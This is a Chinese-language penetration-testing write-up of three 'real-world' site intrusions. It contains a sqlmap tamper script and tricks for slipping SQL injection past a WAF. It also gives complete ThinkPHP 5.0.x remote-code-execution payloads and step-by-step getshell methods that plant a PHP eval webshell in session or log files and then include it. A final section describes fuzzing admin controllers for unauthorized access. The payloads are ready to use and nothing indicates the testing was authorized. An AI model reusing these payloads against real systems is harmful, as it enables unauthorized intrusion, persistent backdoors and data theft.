前言
简单记录最近几个实战渗透的站点。
第一个站点
sql注入
收到Xray的sql注入告警。
简单测试了一下确实存在数字型注入,但是存在waf检测到sql注入一些关键词直接403
经过测试只是检测关键词,这个时候我们可以考虑
- 使用生僻函数代替所在检测的关键词。
- 使用注释扰乱waf的正则匹配。
这里我使用内联注释/*!....*/
进行fuzz测试。
当!后面所接的数据库版本号时,当实际的版本等于或是高于那个字符串,应用程序就会将注释内容解释为SQL,否则就会当做注释来处理。默认的,当没有接版本号时,是会执行里面的内容的。
不填充版本号被拦截
随便填充版本号注意不要填太大,成功绕过,看来是一个很弱的waf。。。。
利用mysql的注释来对抗waf的正则匹配非常有效因为其太过于灵活如下:
编写tamper脚本
太懒了手工是不可能的了,直接编写tamper脚本来跑。写的过程发现了sqlmap集成了一个类似的versionedmorekeywords.py
。
进行简单修改一下就行
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.data import kb
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS
__priority__ = PRIORITY.HIGHER
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Encloses each keyword with (MySQL) versioned comment
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.56, 5.5.11
Notes:
* Useful to bypass several web application firewalls when the
back-end database management system is MySQL
>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
"""
def process(match):
word = match.group('word')
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
return match.group().replace(word, "/*!50011%s*/" % word)
else:
return match.group()
retVal = payload
if payload:
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal)
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
return retVal
注意点
测试的脚本一直都跑不出来,使用-v3参数看了一遍又一遍payload应该是没有问题但是就是检测不到注入。最终抓包查看才知道如来是waf检测到了sqlmap的特征直接ban掉了。使用--random-agent
构造随机user-agent并且降低线程就成功跑出数据了。
第二个站点
thinkphp rce
这个没什么好说的,thinkphp5.0.x的Rce:
POST:_method=__construct&method=get&filter[]=phpinfo&get[]=-1
这里主要提一下如何Getshell。从phpinfo页面泄漏的信息目标操作系统为linux,php版本7.2.6,并且禁用了常见执行命令的函数。
这里我们可以考虑:
- 包含session文件Getshell
- 包含日志文件Getshell。
一般可以优先考虑包含session文件Getshell进行Getshell,包含日志文件的话有可能因为日志文件过大而包含失败。
首先查看session文件保存位置,这里为空在linux下如果为空则默认保存在/tmp下。
写木马进sesion中:
设置cookie为:Cookie: PHPSESSID=test
POST:_method=__construct&filter[]=think\Session::set&method=GET&get[]=<?php eval($_POST['EASY2132'])?>
然后使用文件包含:
_method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_test&server[]=1&EASY2132=phpinfo();
写入日志Getshell的方法:
首先确定日志文件位置:
thinkphp日志命名格式:文件夹年+月份/天.log
_method=__construct&filter[]=highlight_file&method=GET&get[]=../runtime/log/202011/07.log
写shell到日志中:
_method=__construct&filter[]=call_user_func&method=GET&get[]=<?php eval($_POST['c']);?>
日志包含:
_method=__construct&filter[]=think\\__include_file&method=GET&get[]=../runtime/log/202011/07.log&c=phpinfo();
第三个站点
未授权访问
同样是一个基于thinkphp框架开发的网站,在渗透TP开发的网站除了优先考虑其框架本身的漏洞以及日志泄漏以外我们可以Fuzz后台一些控制器。
例如:
xxx/index.php/Admin/Manage/loginPic
这里我们可以对loginPic进行Fuzz控制器名称,如果后台某些控制器权限控制不严格,可能会有未授权的产生。